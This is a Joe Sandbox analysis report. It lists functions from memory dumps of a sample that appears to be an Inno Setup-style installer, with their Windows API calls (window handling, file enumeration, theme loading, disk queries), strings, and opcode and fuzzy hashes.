Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: dc18a0bd097e5dc125896746ab49c735efa94621b29c9650157d33084829803b
Instruction ID: 641f4334fd39536c62f33be4aad6c94b83d4d91879ac69f64f0a27da761a08b4
Opcode Fuzzy Hash: dc18a0bd097e5dc125896746ab49c735efa94621b29c9650157d33084829803b
Instruction Fuzzy Hash: 7691EF34604644EFD716CF65D961F6ABBF9EB48305F2180BAEC0897792C738AE04DB18

Function 00454918 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00454A4C), ref: 00454948
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0045494E

Strings

kernel32.dll, xrefs: 00454943
GetDiskFreeSpaceExA, xrefs: 0045493E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 940f1656f79e2746797ba2c7f144ff350c7923992133811c33095aeb5d01e7f1
Instruction ID: a35fddf5537fe1294da07d462b19703c1e2432f1509f9c3cfdc8e6ab53f23c8b
Opcode Fuzzy Hash: 940f1656f79e2746797ba2c7f144ff350c7923992133811c33095aeb5d01e7f1
Instruction Fuzzy Hash: 5F316271A44259AFCF01EFA5D8829EFB7B8EF89704F504566E800F7252D6785D088B68

Function 00417C40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C7F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417C9D
GetWindowPlacement.USER32(?,0000002C), ref: 00417CD3
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417CFA

Strings

,, xrefs: 00417CC1

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: 03031bbae82d4ebc83d5b44bdded535e8e858e0e74a82307596a1815367d6806
Instruction ID: c7e48a005123f112bfb3c773aae920d88014dc0855fb7fe4f04d55f6c4297c8c
Opcode Fuzzy Hash: 03031bbae82d4ebc83d5b44bdded535e8e858e0e74a82307596a1815367d6806
Instruction Fuzzy Hash: 92213E71604204ABCF00EF69D8C4ADA77B8AF48314F11456AFD18DF346D678E984CBA8

Function 004606EC Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,004608A9), ref: 0046071D
FindFirstFileA.KERNEL32(00000000,?,00000000,0046087C,?,00000001,00000000,004608A9), ref: 004607AC
FindNextFileA.KERNEL32(000000FF,?,00000000,0046085E,?,00000000,?,00000000,0046087C,?,00000001,00000000,004608A9), ref: 0046083E
FindClose.KERNEL32(000000FF,00460865,0046085E,?,00000000,?,00000000,0046087C,?,00000001,00000000,004608A9), ref: 00460858

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 9510b9faef03bde7981ffc1cbf9985c7220a2f823146c1e9c5838e7dce2b82fe
Instruction ID: 7619e791fa07d7eebd9624ba39f19b19d28f343f6bd3970fbebcfbc1750160fe
Opcode Fuzzy Hash: 9510b9faef03bde7981ffc1cbf9985c7220a2f823146c1e9c5838e7dce2b82fe
Instruction Fuzzy Hash: A941B774A006189FDB11EF65DC55ADFB7B8EB88705F4044BAF804A7342E63C9E488E59

Function 00460B68 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00460D4F), ref: 00460BDD
FindFirstFileA.KERNEL32(00000000,?,00000000,00460D1A,?,00000001,00000000,00460D4F), ref: 00460C23
FindNextFileA.KERNEL32(000000FF,?,00000000,00460CFC,?,00000000,?,00000000,00460D1A,?,00000001,00000000,00460D4F), ref: 00460CD8
FindClose.KERNEL32(000000FF,00460D03,00460CFC,?,00000000,?,00000000,00460D1A,?,00000001,00000000,00460D4F), ref: 00460CF6

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 7abd12056deb8ad1b7411797b3350813c5d50cedf8c2c8dfad8c15baec6e26d5
Instruction ID: edec818d45ba830d657fd50c6db7a10dbaddb2d902f4e62a2bc7916600c583f8
Opcode Fuzzy Hash: 7abd12056deb8ad1b7411797b3350813c5d50cedf8c2c8dfad8c15baec6e26d5
Instruction Fuzzy Hash: 8D417375A006189BCB10EFA5DC859DFB7B8EF88705F5045AAF804A7341E738AE448E59

Function 0042E6A0 Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00451C67,00000000,00451C88), ref: 0042E6C2
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E6ED
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00451C67,00000000,00451C88), ref: 0042E6FA
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00451C67,00000000,00451C88), ref: 0042E702
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00451C67,00000000,00451C88), ref: 0042E708

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: 91d336010cbf3d8894e3e09169d6c0f7ede2d497e3ffd38329e904f44c3651c2
Instruction ID: 53ccfbf0bf59ae6588beb9129f4ac6c5d938a4cdc4829e3b8b95457f0e8f2975
Opcode Fuzzy Hash: 91d336010cbf3d8894e3e09169d6c0f7ede2d497e3ffd38329e904f44c3651c2
Instruction Fuzzy Hash: 90F090713917243AF620B1BA6C87F7B418CC7C5B68F10823ABB04FF1C1D9A85D06566D

Function 0047E930 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0047E96E
GetWindowLongA.USER32(00000000,000000F0), ref: 0047E98C
ShowWindow.USER32(00000000,00000005,00000000,000000F0,00497038,0047E136,0047E16A,00000000,0047E18A,?,?,00000001,00497038), ref: 0047E9AE
ShowWindow.USER32(00000000,00000000,00000000,000000F0,00497038,0047E136,0047E16A,00000000,0047E18A,?,?,00000001,00497038), ref: 0047E9C2

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 043d2bb411354caa0c456dc48a8140a96cace7138bf2291d880c05a4ecf65b05
Instruction ID: eafc39e9becc41036e4ca24a6eaf2badf01027d7e99d1cfb18d85109fc6b26ac
Opcode Fuzzy Hash: 043d2bb411354caa0c456dc48a8140a96cace7138bf2291d880c05a4ecf65b05
Instruction Fuzzy Hash: BC0171F2204240AADB40A7778C46B9627995B19348F0446FBBA489B3F2CA2DDC89D75C

Function 0045F160 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0045F234), ref: 0045F1B8
FindNextFileA.KERNEL32(000000FF,?,00000000,0045F214,?,00000000,?,00000000,0045F234), ref: 0045F1F4
FindClose.KERNEL32(000000FF,0045F21B,0045F214,?,00000000,?,00000000,0045F234), ref: 0045F20E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: 586132b0b211750728cbdbf98f41df38bf16c13d96c8b3be39bea33d0b1ede93
Instruction ID: c177f096a54f61cce93441c330e7815858ed8c84b8e73aa9a196f583aa084cd0
Opcode Fuzzy Hash: 586132b0b211750728cbdbf98f41df38bf16c13d96c8b3be39bea33d0b1ede93
Instruction Fuzzy Hash: 9F21F671504608AECB10DB65DC41ADEBBBCEB49704F5084F7FC08E32A2D6399E4DCA5A

Function 0042414C Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00424154
SetActiveWindow.USER32(?,?,?,00468F56), ref: 00424161

Part of subcall function 004235BC: ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Part of subcall function 00423A84: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,021225AC,0042417A,?,?,?,00468F56), ref: 00423ABF

SetFocus.USER32(00000000,?,?,?,00468F56), ref: 0042418E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: a65c021155f1c03a73d128d70588895e9b57b31c41d8e799492c0e92c8cf3974
Instruction ID: 4136aac35a779e4733478972a6ab5bc4469f39141bd8f2cff661810d574da02b
Opcode Fuzzy Hash: a65c021155f1c03a73d128d70588895e9b57b31c41d8e799492c0e92c8cf3974
Instruction Fuzzy Hash: 3EF03A717001208BDB40AFAA98C4B9633A8AF48304B55017BBD09EF34BCA7CDC5187A8

Function 00417C3E Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417C7F
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417C9D
GetWindowPlacement.USER32(?,0000002C), ref: 00417CD3
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417CFA

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: df2f2a8c3b857432242d8d8123c1cfaf0c2dea3d56ff885e9ac627941bf6ed4b
Instruction ID: f0313cfea0d4087130c3a657ee055cc65a4736f61d4b278e94d42609036002a6
Opcode Fuzzy Hash: df2f2a8c3b857432242d8d8123c1cfaf0c2dea3d56ff885e9ac627941bf6ed4b
Instruction Fuzzy Hash: 31015A31204104ABDF10EE6A98C5EEA73A8AF44324F114166FD08CF342E638EC8086A8

Function 00417508 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417533
GetCapture.USER32 ref: 0041753C

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: af1c5b43412e2fcaa88ec6dbe6a8b705b794b180b560b7f19973f3177c796014
Instruction ID: 516534a0d685a41b5289b303ed97122a4deaa6af678778b669afb1f0a2bf06d6
Opcode Fuzzy Hash: af1c5b43412e2fcaa88ec6dbe6a8b705b794b180b560b7f19973f3177c796014
Instruction Fuzzy Hash: 80F04471B04602A7DB20E72EC8C5AA762F69F44394B54443FF415C7B96EA7CDCC48758

Function 00424104 Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 0042410B

Part of subcall function 004239F4: EnumWindows.USER32(0042398C), ref: 00423A18
Part of subcall function 004239F4: GetWindow.USER32(?,00000003), ref: 00423A2D
Part of subcall function 004239F4: GetWindowLongA.USER32(?,000000EC), ref: 00423A3C
Part of subcall function 004239F4: SetWindowPos.USER32(00000000,004240CC,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,0042411B,?,?,00423CE3), ref: 00423A72

SetActiveWindow.USER32(?,?,?,00423CE3,00000000,004240CC), ref: 0042411F

Part of subcall function 004235BC: ShowWindow.USER32(004105C0,00000009,?,00000000,0041ED14,004238AA,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C), ref: 004235D7

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: 5c58d947887613df8a1a5b004a34a5df3c7671d93cde12ce2b76e9099da7ea36
Instruction ID: b8e4b42960b6b3797255afb6d30997fccd36cf0c86298b6f3b138aeb4614201e
Opcode Fuzzy Hash: 5c58d947887613df8a1a5b004a34a5df3c7671d93cde12ce2b76e9099da7ea36
Instruction Fuzzy Hash: 76E0E5A0300100C7EB00AFAAD8C9B9672A9BB48304F5501BABC08CF24BD6B8C8948724

Function 00412548 Relevance: 1.7, APIs: 1, Instructions: 188nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?,00000000,00412745), ref: 00412733

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: d4e55210cf07738a517e22d4988152bb99c4c61b8d064cb1407e8ad5a00c8708
Instruction ID: 7676943622bfa1b87a175b7a8473920ed7b4936c8d574fb73453cf2521b2b913
Opcode Fuzzy Hash: d4e55210cf07738a517e22d4988152bb99c4c61b8d064cb1407e8ad5a00c8708
Instruction Fuzzy Hash: 5751D3356042059FC710DF5AD681A9BF3E5FF98304B3582ABE814C73A5D6B8AD92874C

Function 0047451C Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0047466A

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 28dc23b23800ef1f8e944c7e4f63bbd5668637b7df82285debce20ae8f6128bf
Instruction ID: 45d1217c07d0316af599d6ba2297e32cae7e42cf6b11ce9a3f5dc5ae60aa5d8b
Opcode Fuzzy Hash: 28dc23b23800ef1f8e944c7e4f63bbd5668637b7df82285debce20ae8f6128bf
Instruction Fuzzy Hash: 2F415735604108EFCB10CF99C2809AAB7F5FB89310B25C992E948DB715D73CEE41DB54

Function 0046A5E0 Relevance: 1.6, APIs: 1, Instructions: 73comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00494B14,00000000,00000001,00494B24,0049705C,00000000,0046A6B0,?,?,00000001,0049715C), ref: 0046A692

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 2a660552262edd31ff5d5fc9f318d00e103859eac43464ac65b66698b9dd7cae
Instruction ID: c4608683c7318c8ac6f4315199cfec0a20b6d7f112700f43f6ecb7c1e9f58aec
Opcode Fuzzy Hash: 2a660552262edd31ff5d5fc9f318d00e103859eac43464ac65b66698b9dd7cae
Instruction Fuzzy Hash: E42100303187009FE721CF19EC86B06B7E5EB9A314F648177E8089A2A5E7789851CF5E

Function 0045BA70 Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045BA7B

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: 4f346a98cc88831264cd2124032434adf3cc0e033ed38f361bacdd6b0811f564
Instruction ID: 61cffff204aae194db39770809f152df25ce8d6a8d2ad72ceff09a7df0b0244f
Opcode Fuzzy Hash: 4f346a98cc88831264cd2124032434adf3cc0e033ed38f361bacdd6b0811f564
Instruction Fuzzy Hash: 23C092F201820CBFA6009B96ECC9CB7BB6CE6A96A47408526F708821119672AC1096B9

Function 0045BA88 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,00469CF3), ref: 0045BA8E

Memory Dump Source

Source File: 00000001.00000002.2900975811.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2900947405.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901054513.0000000000494000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901097662.0000000000496000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2901122524.00000000004A6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_OFjT8HmzFJ.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: 2fe21e2df50c4eb10528ed429992e02407ab6b88a57ceb0413aa46c228635ffb
Instruction ID: 7502cee4c87c1f740629c6f8d7cf668bf226a85633ce0fa418fe1039a2bf82e9
Opcode Fuzzy Hash: 2fe21e2df50c4eb10528ed429992e02407ab6b88a57ceb0413aa46c228635ffb
Instruction Fuzzy Hash: 9DA002F0B943007AFD305B615E0EF26252C97D1F41F2048A57305A90E085A46400963D

Function 10001130 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2902540826.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2902516851.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2902572714.0000000010002000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Function 10001000 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2902540826.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.2902516851.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2902572714.0000000010002000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_10000000_OFjT8HmzFJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Function 0044B198 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B144: GetVersionExA.KERNEL32(00000094), ref: 0044B161

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F2B5,00493D75), ref: 0044B1BF
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B1D7
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B1E9
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B1FB
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B20D
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B21F
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B231
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B243
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B255
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044B267
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044B279
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044B28B
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044B29D
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B2AF
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B2C1
